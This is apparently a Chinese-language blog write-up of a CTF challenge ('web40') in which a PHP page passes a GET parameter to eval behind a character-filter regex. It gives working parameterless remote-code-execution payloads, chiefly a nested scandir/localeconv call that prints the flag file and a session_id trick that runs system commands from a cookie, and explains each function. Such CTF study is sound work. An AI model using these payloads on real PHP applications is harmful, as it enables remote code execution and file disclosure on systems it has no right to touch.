shng


[CTF] [命令执行]web40

Web40

if(isset($_GET['c'])){
  $c = $_GET['c'];
  if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
    eval($c);
  }
    
}else{
  highlight_file(__FILE__);
}

考点:无参数RCE

无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),不能带参数。

这个地方ban的括号是假的…,中文括号,因此带括号的函数都能用。但是过滤的东西还是非常多,常用的*$'"`都被ban掉了。因此要想其他办法了

我TM直接查看hint

show_source(next(array_reverse(scandir(pos(localeconv()))))); 

GXYCTF的禁止套娃 通过cookie获得参数进行命令执行

c=session_start();system(session_id());
passid=ls

看样子是构建一个session,然后执行系统函数讲session_id的参数执行

一个一个函数分析吧

pos() // 输出数组中当前元素的值
localeconv() // 函数返回一包含本地数字及货币格式信息的数组。
// localeconv()  函数会返回以下数组元素:
// [decimal_point] - 小数点字符
// [thousands_sep] - 千位分隔符
// [int_curr_symbol] - 货币符号 (例如:USD)
// [currency_symbol] - 货币符号 (例如:$)
// [mon_decimal_point] - 货币小数点字符
// [mon_thousands_sep] - 货币千位分隔符
// [positive_sign] - 正值字符
// [negative_sign] - 负值字符
// [int_frac_digits] - 国际通用小数位
// [frac_digits] - 本地通用小数位

// 这里pos() 拿到了 "." 
// 因此构造出了 sacndir('.')
scandir() // 获取目录下的文件 
array_reverse() // 以相反的顺序返回数组 第二个元素变为flag
next() // 返回数组中下一个元素 这里返回flag
show_source() // 函数对文件进行语法高亮显示 等同于highlight_file()

OK,拿到了flag

豫ICP备20003564号-1 / shng